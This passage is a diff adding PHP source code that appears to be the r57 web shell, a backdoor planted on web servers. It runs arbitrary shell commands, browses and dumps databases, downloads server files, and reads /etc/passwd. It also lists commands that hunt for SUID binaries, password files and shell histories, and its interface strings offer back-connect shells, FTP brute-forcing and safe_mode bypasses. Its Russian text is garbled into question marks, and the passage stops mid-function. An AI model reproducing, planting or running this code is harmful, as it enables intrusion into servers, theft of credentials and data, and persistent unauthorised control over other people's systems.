@mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + } + return 0; + } + + function select_db() + { + switch($this->db) + { + case 'MySQL': + if(@mysql_select_db($this->base,$this->connection)) return 1; + break; + case 'MSSQL': + if(@mssql_select_db($this->base,$this->connection)) return 1; + break; + case 'PostgreSQL': + return 1; + break; + case 'Oracle': + return 1; + break; + } + return 0; + } + + function query($query) + { + $this->res=$this->error=''; + switch($this->db) + { + case 'MySQL': + if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) + { + $this->error = @mysql_error($this->connection); + return 0; + } + else if(is_resource($this->res)) { return 1; } + return 2; + break; + case 'MSSQL': + if(false===($this->res=@mssql_query($query,$this->connection))) + { + $this->error = 'Query error'; + return 0; + } + else if(@mssql_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'PostgreSQL': + if(false===($this->res=@pg_query($this->connection,$query))) + { + $this->error = @pg_last_error($this->connection); + return 0; + } + else if(@pg_num_rows($this->res) > 0) { return 1; } + return 2; + break; + case 'Oracle': + if(false===($this->res=@ociparse($this->connection,$query))) + { + $this->error = 'Query parse error'; + } + else + { + if(@ociexecute($this->res)) + { + if(@ocirowcount($this->res) != 0) return 2; + return 1; + } + $error = @ocierror(); + $this->error=$error['message']; + } + break; + } + return 0; + } + function get_result() + { + $this->rows=array(); + $this->columns=array(); + $this->num_rows=$this->num_fields=0; + switch($this->db) + { + case 'MySQL': + $this->num_rows=@mysql_num_rows($this->res); + $this->num_fields=@mysql_num_fields($this->res); + while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); + @mysql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'MSSQL': + $this->num_rows=@mssql_num_rows($this->res); + $this->num_fields=@mssql_num_fields($this->res); + while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); + @mssql_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; + break; + case 'PostgreSQL': + $this->num_rows=@pg_num_rows($this->res); + $this->num_fields=@pg_num_fields($this->res); + while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); + @pg_free_result($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + case 'Oracle': + $this->num_fields=@ocinumcols($this->res); + while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; + @ocifreestatement($this->res); + if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} + break; + } + return 0; + } + function dump($table) + { + if(empty($table)) return 0; + $this->dump=array(); + $this->dump[0] = '##'; + $this->dump[1] = '## --------------------------------------- '; + $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); + $this->dump[3] = '## Database: '.$this->base; + $this->dump[4] = '## Table: '.$table; + $this->dump[5] = '## --------------------------------------- '; + switch($this->db) + { + case 'MySQL': + $this->dump[0] = '## MySQL dump'; + if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + $this->dump[] = $this->rows[0]['Create Table']; + $this->dump[] = '## --------------------------------------- '; + if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} + $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'MSSQL': + $this->dump[0] = '## MSSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'PostgreSQL': + $this->dump[0] = '## PostgreSQL dump'; + if($this->query('SELECT * FROM '.$table)!=1) return 0; + if(!$this->get_result()) return 0; + for($i=0;$i<$this->num_rows;$i++) + { + foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} + $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; + } + break; + case 'Oracle': + $this->dump[0] = '## ORACLE dump'; + $this->dump[] = '## under construction'; + break; + default: + return 0; + break; + } + return 1; + } + function close() + { + switch($this->db) + { + case 'MySQL': + @mysql_close($this->connection); + break; + case 'MSSQL': + @mssql_close($this->connection); + break; + case 'PostgreSQL': + @pg_close($this->connection); + break; + case 'Oracle': + @oci_close($this->connection); + break; + } + } + function affected_rows() + { + switch($this->db) + { + case 'MySQL': + return @mysql_affected_rows($this->res); + break; + case 'MSSQL': + return @mssql_affected_rows($this->res); + break; + case 'PostgreSQL': + return @pg_affected_rows($this->res); + break; + case 'Oracle': + return @ocirowcount($this->res); + break; + default: + return 0; + break; + } + } + } +if(isset($_GET['img'])&&!empty($_GET['img'])) + { + $images = array(); + $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; + $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; + @ob_clean(); + header("Content-type: image/gif"); + echo base64_decode($images[$_GET['img']]); + die(); + } +if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) + { + if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } + else + { + @ob_clean(); + $filename = @basename($_POST['d_name']); + $filedump = @fread($file,@filesize($_POST['d_name'])); + fclose($file); + $content_encoding=$mime_type=''; + compress($filename,$filedump,$_POST['compress']); + if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } + header("Content-type: ".$mime_type); + header("Content-disposition: attachment; filename=\"".$filename."\";"); + echo $filedump; + exit(); + } + } +if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } +if ($_POST['cmd']=="db_query") + { + echo $head; + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + $querys = @explode(';',$_POST['db_query']); + + if(!$sql->connect()) echo "<div align=center><font face=Verdana size=2 color=red><b>Can't connect to SQL server</b></font></div>"; + else + { + if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=2 color=red><b>Can't select database</b></font></div>"; + else + { + foreach($querys as $num=>$query) + { + if(strlen($query)>5) + { + echo "<font face=Verdana size=2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; + switch($sql->query($query)) + { + case '0': + echo "<table width=100%><tr><td><font face=Verdana size=2>Error : <b>".$sql->error."</b></font></td></tr></table>"; + break; + case '1': + if($sql->get_result()) + { + echo "<table width=100%>"; + foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); + $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=2><b>&nbsp;", $sql->columns); + echo "<tr><td bgcolor=#cccccc><font face=Verdana size=2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; + for($i=0;$i<$sql->num_rows;$i++) + { + foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); + $values = @implode("&nbsp;</font></td><td><font face=Verdana size=2>&nbsp;",$sql->rows[$i]); + echo '<tr><td><font face=Verdana size=2>&nbsp;'.$values.'&nbsp;</font></td></tr>'; + } + echo "</table>"; + } + break; + case '2': + $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); + echo "<table width=100%><tr><td><font face=Verdana size=2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; + break; + } + } + } + } + } + echo "<br><form name=form method=POST>"; + echo in('hidden','db',0,$_POST['db']); + echo in('hidden','db_server',0,$_POST['db_server']); + echo in('hidden','db_port',0,$_POST['db_port']); + echo in('hidden','mysql_l',0,$_POST['mysql_l']); + echo in('hidden','mysql_p',0,$_POST['mysql_p']); + echo in('hidden','mysql_db',0,$_POST['mysql_db']); + echo in('hidden','cmd',0,'db_query'); + echo "<div align=center><textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; + echo "</form>"; + echo "<br><div align=center><font face=Verdana size=2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } +if(isset($_GET['delete'])) + { + @unlink(@substr(@strrchr($_SERVER['PHP_SELF'],"/"),1)); + } +if(isset($_GET['tmp'])) + { + @unlink("/tmp/bdpl"); + @unlink("/tmp/back"); + @unlink("/tmp/bd"); + @unlink("/tmp/bd.c"); + @unlink("/tmp/dp"); + @unlink("/tmp/dpc"); + @unlink("/tmp/dpc.c"); + } +if(isset($_GET['phpini'])) +{ +echo $head; +function U_value($value) + { + if ($value == '') return '<i>no value</i>'; + if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE'; + if ($value === null) return 'NULL'; + if (@is_object($value)) $value = (array) $value; + if (@is_array($value)) + { + @ob_start(); + print_r($value); + $value = @ob_get_contents(); + @ob_end_clean(); + } + return U_wordwrap((string) $value); + } +function U_wordwrap($str) + { + $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true); + return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str); + } +if (@function_exists('ini_get_all')) + { + $r = ''; + echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=2 color=red><div align=center><b>Master Value</b></div></font></td></tr>'; + foreach (@ini_get_all() as $key=>$value) + { + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=2><b>'.$key.'</b></font></td><td><font face=Verdana size=2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>'; + } + echo $r; + echo '</table>'; + } +echo "<br><div align=center><font face=Verdana size=2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; +die(); +} +if(isset($_GET['cpu'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>'; + $cpuf = @file("cpuinfo"); + if($cpuf) + { + $c = @sizeof($cpuf); + for($i=0;$i<$c;$i++) + { + $info = @explode(":",$cpuf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(isset($_GET['mem'])) + { + echo $head; + echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>'; + $memf = @file("meminfo"); + if($memf) + { + $c = sizeof($memf); + for($i=0;$i<$c;$i++) + { + $info = explode(":",$memf[$i]); + if($info[1]==""){ $info[1]="---"; } + $r .= '<tr><td>'.ws(3).'<font face=Verdana size=2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>'; + } + echo $r; + } + else + { + echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=2><b> --- </b></font></div></td></tr>'; + } + echo '</table>'; + echo "<br><div align=center><font face=Verdana size=2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +$lang=array( +'ru_text1' =>'??????????? ???????', +'ru_text2' =>'?????????? ?????? ?? ???????', +'ru_text3' =>'????????? ???????', +'ru_text4' =>'??????? ??????????', +'ru_text5' =>'???????? ?????? ?? ??????', +'ru_text6' =>'????????? ????', +'ru_text7' =>'??????', +'ru_text8' =>'???????? ?????', +'ru_butt1' =>'?????????', +'ru_butt2' =>'?????????', +'ru_text9' =>'???????? ????? ? ???????? ??? ? /bin/bash', +'ru_text10'=>'??????? ????', +'ru_text11'=>'?????? ??? ???????', +'ru_butt3' =>'???????', +'ru_text12'=>'back-connect', +'ru_text13'=>'IP-?????', +'ru_text14'=>'????', +'ru_butt4' =>'?????????', +'ru_text15'=>'???????? ?????? ? ?????????? ???????', +'ru_text16'=>'????????????', +'ru_text17'=>'????????? ????', +'ru_text18'=>'????????? ????', +'ru_text19'=>'Exploits', +'ru_text20'=>'????????????', +'ru_text21'=>'????? ???', +'ru_text22'=>'datapipe', +'ru_text23'=>'????????? ????', +'ru_text24'=>'????????? ????', +'ru_text25'=>'????????? ????', +'ru_text26'=>'????????????', +'ru_butt5' =>'?????????', +'ru_text28'=>'?????? ? safe_mode', +'ru_text29'=>'?????? ????????', +'ru_butt6' =>'???????', +'ru_text30'=>'???????? ?????', +'ru_butt7' =>'???????', +'ru_text31'=>'???? ?? ??????', +'ru_text32'=>'?????????? PHP ????', +'ru_text33'=>'???????? ??????????? ?????? ??????????? open_basedir ????? ??????? cURL', +'ru_butt8' =>'?????????', +'ru_text34'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ??????? include', +'ru_text35'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ???????? ????? ? mysql', +'ru_text36'=>'???? . ???????', +'ru_text37'=>'?????', +'ru_text38'=>'??????', +'ru_text39'=>'????', +'ru_text40'=>'???? ??????? ???? ??????', +'ru_butt9' =>'????', +'ru_text41'=>'????????? ? ?????', +'ru_text42'=>'?????????????? ?????', +'ru_text43'=>'????????????? ????', +'ru_butt10'=>'?????????', +'ru_butt11'=>'?????????????', +'ru_text44'=>'?????????????? ????? ??????????! ?????? ?????? ??? ??????!', +'ru_text45'=>'???? ????????', +'ru_text46'=>'???????? phpinfo()', +'ru_text47'=>'???????? ???????? php.ini', +'ru_text48'=>'???????? ????????? ??????', +'ru_text49'=>'???????? ??????? ? ???????', +'ru_text50'=>'?????????? ? ??????????', +'ru_text51'=>'?????????? ? ??????', +'ru_text52'=>'????? ??? ??????', +'ru_text53'=>'?????? ? ?????', +'ru_text54'=>'????? ?????? ? ??????', +'ru_butt12'=>'?????', +'ru_text55'=>'?????? ? ??????', +'ru_text56'=>'?????? ?? ???????', +'ru_text57'=>'???????/??????? ????/??????????', +'ru_text58'=>'???', +'ru_text59'=>'????', +'ru_text60'=>'??????????', +'ru_butt13'=>'???????/???????', +'ru_text61'=>'???? ??????', +'ru_text62'=>'?????????? ???????', +'ru_text63'=>'???? ??????', +'ru_text64'=>'?????????? ???????', +'ru_text65'=>'???????', +'ru_text66'=>'???????', +'ru_text67'=>'Chown/Chgrp/Chmod', +'ru_text68'=>'???????', +'ru_text69'=>'????????1', +'ru_text70'=>'????????2', +'ru_text71'=>"?????? ???????? ???????:\r\n- ??? CHOWN - ??? ?????? ???????????? ??? ??? UID (??????) \r\n- ??? ??????? CHGRP - ??? ?????? ??? GID (??????) \r\n- ??? ??????? CHMOD - ????? ????? ? ???????????? ????????????? (???????? 0777)", +'ru_text72'=>'????? ??? ??????', +'ru_text73'=>'?????? ? ?????', +'ru_text74'=>'?????? ? ??????', +'ru_text75'=>'* ????? ???????????? ?????????? ?????????', +'ru_text76'=>'????? ?????? ? ?????? ? ??????? ??????? find', +'ru_text80'=>'???', +'ru_text81'=>'????', +'ru_text82'=>'???? ??????', +'ru_text83'=>'?????????? SQL ???????', +'ru_text84'=>'SQL ??????', +'ru_text85'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ?????????? ?????? ? MSSQL ???????', +'ru_text86'=>'?????????? ????? ? ???????', +'ru_butt14'=>'???????', +'ru_text87'=>'?????????? ?????? ? ?????????? ftp-???????', +'ru_text88'=>'FTP-??????:????', +'ru_text89'=>'???? ?? ftp ???????', +'ru_text90'=>'????? ????????', +'ru_text91'=>'???????????? ?', +'ru_text92'=>'??? ?????????', +'ru_text93'=>'FTP', +'ru_text94'=>'FTP-????????', +'ru_text95'=>'?????? ?????????????', +'ru_text96'=>'?? ??????? ???????? ?????? ?????????????', +'ru_text97'=>'????????? ??????????: ', +'ru_text98'=>'??????? ???????????: ', +'ru_text99'=>'* ? ???????? ?????? ? ?????? ???????????? ??? ???????????? ?? /etc/passwd', +'ru_text100'=>'???????? ?????? ?? ????????? ??? ??????', +'ru_text101'=>'???????????? ????? ???????????? (user -> resu) ??? ???????????? ? ???????? ??????', +'ru_text102'=>'?????', +'ru_text103'=>'???????? ??????', +'ru_text104'=>'???????? ????? ?? ???????? ????', +'ru_text105'=>'????', +'ru_text106'=>'??', +'ru_text107'=>'????', +'ru_butt15'=>'?????????', +'ru_text108'=>'????? ??????', +'ru_text109'=>'????????', +'ru_text110'=>'??????????', +'ru_text111'=>'SQL-?????? : ????', +'ru_text112'=>'???????? ??????????? ?????? ??????????? safe_mode ????? ????????????? ??????? mb_send_mail', +'ru_text113'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ???????? ?????????? ? ?????????????? imap_list', +'ru_text114'=>'???????? ??????????? ?????? ??????????? safe_mode, ???????? ??????????? ????? ? ?????????????? imap_body', +/* --------------------------------------------------------------- */ +'eng_text1' =>' ', +'eng_text2' =>' ', +'eng_text3' =>' ', +'eng_text4' =>' ', +'eng_text5' =>' ', +'eng_text6' =>' ', +'eng_text7' =>' ( )', +'eng_text8' =>' ', +'eng_butt1' =>'', +'eng_butt2' =>'', +'eng_text9' =>' /bin/bash', +'eng_text10'=>'', +'eng_text11'=>' ', +'eng_butt3' =>'', +'eng_text12'=>' ', +'eng_text13'=>'IP', +'eng_text14'=>'', +'eng_butt4' =>'', +'eng_text15'=>' ', +'eng_text16'=>'', +'eng_text17'=>' ', +'eng_text18'=>' ', +'eng_text19'=>'', +'eng_text20'=>'', +'eng_text21'=>'&nbsp; ', +'eng_text22'=>'datapipe', +'eng_text23'=>' ', +'eng_text24'=>' ', +'eng_text25'=>'Remote port', +'eng_text26'=>'', +'eng_butt5' =>'', +'eng_text28'=>' ', +'eng_text29'=>' ', +'eng_butt6' =>'', +'eng_text30'=>' ', +'eng_butt7' =>'', +'eng_text31'=>' ', +'eng_text32'=>' ', +'eng_text33'=>'Test bypass open_basedir with cURL functions', +'eng_butt8' =>'', +'eng_text34'=>'Test bypass safe_mode with include function', +'eng_text35'=>'Test bypass safe_mode with load file in mysql', +'eng_text36'=>'', +'eng_text37'=>'', +'eng_text38'=>'', +'eng_text39'=>'', +'eng_text40'=>' ', +'eng_butt9' =>' ', +'eng_text41'=>' ', +'eng_text42'=>' ', +'eng_text43'=>' ', +'eng_butt10'=>'', +'eng_text44'=>' , ', +'eng_text45'=>' ', +'eng_text46'=>'phpinfo() ', +'eng_text47'=>'php.ini ', +'eng_text48'=>' ', +'eng_butt11'=>' ', +'eng_text49'=>' ', +'eng_text50'=>'cpu ', +'eng_text51'=>' ', +'eng_text52'=>' ', +'eng_text53'=>' ', +'eng_text54'=>' ', +'eng_butt12'=>'', +'eng_text55'=>' ', +'eng_text56'=>' ):', +'eng_text57'=>'/ /', +'eng_text58'=>'', +'eng_text59'=>'', +'eng_text60'=>'', +'eng_butt13'=>'/', +'eng_text61'=>' ', +'eng_text62'=>' ', +'eng_text63'=>' ', +'eng_text64'=>' ', +'eng_text65'=>'', +'eng_text66'=>'', +'eng_text67'=>'Chown/Chgrp/Chmod', +'eng_text68'=>'', +'eng_text69'=>'param1', +'eng_text70'=>'param2', +'eng_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...", +'eng_text72'=>' ', +'eng_text73'=>' ', +'eng_text74'=>' ', +'eng_text75'=>'* regexp ', +'eng_text76'=>' ', +'eng_text77'=>' ', +'eng_text78'=>' ', +'eng_text79'=>' ', +'eng_text80'=>'', +'eng_text81'=>'', +'eng_text82'=>' ', +'eng_text83'=>'SQL ', +'eng_text84'=>'SQL ', +'eng_text85'=>'Test bypass safe_mode with commands execute via MSSQL server', +'eng_text86'=>' ', +'eng_butt14'=>'', +'eng_text87'=>'FTP-server ', +'eng_text88'=>'FTP-server:port', +'eng_text89'=>'FTP ', +'eng_text90'=>'Transfer mode', +'eng_text91'=>'Archivation', +'eng_text92'=>'without archivation', +'eng_text93'=>'FTP', +'eng_text94'=>'FTP-bruteforce', +'eng_text95'=>' ', +'eng_text96'=>'Can\'t get users list', +'eng_text97'=>'checked: ', +'eng_text98'=>'success: ', +'eng_text99'=>'* use username from /etc/passwd for ftp login and password', +'eng_text100'=>'FTP-server ', +'eng_text101'=>'Use reverse (user -> resu) login for password', +'eng_text102'=>'', +'eng_text103'=>' ', +'eng_text104'=>' ', +'eng_text105'=>'', +'eng_text106'=>'', +'eng_text107'=>'', +'eng_butt15'=>'', +'eng_text108'=>'', +'eng_text109'=>'', +'eng_text110'=>'', +'eng_text111'=>'SQL-Server : Port', +'eng_text112'=>'Test bypass safe_mode with function mb_send_mail', +'eng_text113'=>'Test bypass safe_mode, view dir list via imap_list', +'eng_text114'=>'Test bypass safe_mode, view file contest via imap_body', +); +/* +?????? ?????? +????????? ???????? ????????????? ?????? ????? ? ???-?? ??????. ( ??????? ????????? ???? ????????? ???? ) +?? ?????? ???? ????????? ??? ???????? ???????. +*/ +$aliases=array( +'find suid files'=>'find / -type f -perm -04000 -ls', +'find suid files in current dir'=>'find . -type f -perm -04000 -ls', +'find sgid files'=>'find / -type f -perm -02000 -ls', +'find sgid files in current dir'=>'find . -type f -perm -02000 -ls', +'find config.inc.php files'=>'find / -type f -name config.inc.php', +'find config.inc.php files in current dir'=>'find . -type f -name config.inc.php', +'find config* files'=>'find / -type f -name "config*"', +'find config* files in current dir'=>'find . -type f -name "config*"', +'find all writable files'=>'find / -type f -perm -2 -ls', +'find all writable files in current dir'=>'find . -type f -perm -2 -ls', +'find all writable directories'=>'find / -type d -perm -2 -ls', +'find all writable directories in current dir'=>'find . -type d -perm -2 -ls', +'find all writable directories and files'=>'find / -perm -2 -ls', +'find all writable directories and files in current dir'=>'find . -perm -2 -ls', +'find all service.pwd files'=>'find / -type f -name service.pwd', +'find service.pwd files in current dir'=>'find . -type f -name service.pwd', +'find all .htpasswd files'=>'find / -type f -name .htpasswd', +'find .htpasswd files in current dir'=>'find . -type f -name .htpasswd', +'find all .bash_history files'=>'find / -type f -name .bash_history', +'find .bash_history files in current dir'=>'find . -type f -name .bash_history', +'find all .mysql_history files'=>'find / -type f -name .mysql_history', +'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history', +'find all .fetchmailrc files'=>'find / -type f -name .fetchmailrc', +'find .fetchmailrc files in current dir'=>'find . -type f -name .fetchmailrc', +'list file attributes on a Linux second extended file system'=>'lsattr -va', +'show opened ports'=>'netstat -an | grep -i listen', +'----------------------------------------------------------------------------------------------------'=>'ls -la' +); +$table_up1 = "<tr><td bgcolor=#cccccc><font face=Verdana size=2><b><div align=center>:: "; +$table_up2 = " ::</div></b></font></td></tr><tr><td>"; +$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc>"; +$table_end1 = "</td></tr>"; +$arrow = " <font face=Wingdings color=gray>?</font>"; +$lb = "<font color=black>[</font>"; +$rb = "<font color=black>]</font>"; +$font = "<font face=Verdana size=2>"; +$ts = "<table class=table1 width=100% align=center>"; +$te = "</table>"; +$fs = "<form name=form method=POST>"; +$fe = "</form>"; + +if(isset($_GET['users'])) + { + if(!$users=get_users()) { echo "<center><font face=Verdana size=2 color=red>".$lang[$language.'_text96']."</font></center>"; } + else + { + echo '<center>'; + foreach($users as $user) { echo $user."<br>"; } + echo '</center>'; + } + echo "<br><div align=center><font face=Verdana size=2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); + } + +if (!empty($_POST['dir'])) { @chdir($_POST['dir']); } +$dir = @getcwd(); +$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if(strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function get_users() +{ + $users = array(); + $rows=file('/etc/passwd'); + if(!$rows) return 0; + foreach ($rows as $string) + { + $user = @explode(":",$string); + if(substr($string,0,1)!='#') array_push($users,$user[0]); + } + return $users; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ???????? ? ???? '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '??????! ?? ???? ????????? ???? '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "?? ??????? ??????? "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function fe($l,$n) +{ +$text['ru'] = array('?? ??????? ???????????? ? ftp ???????','?????? ??????????? ?? ftp ???????','?? ??????? ???????? ?????????? ?? ftp ???????'); +$text['eng'] = array('Connect to ftp server failed','Login to ftp server failed','Can\'t change dir on ftp server'); +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=2><div align=center><b>".$text[$l][$n]."</b></div></font></td></tr></table>"; +return null; +} +function mr($l,$n) +{ +$text['ru'] = 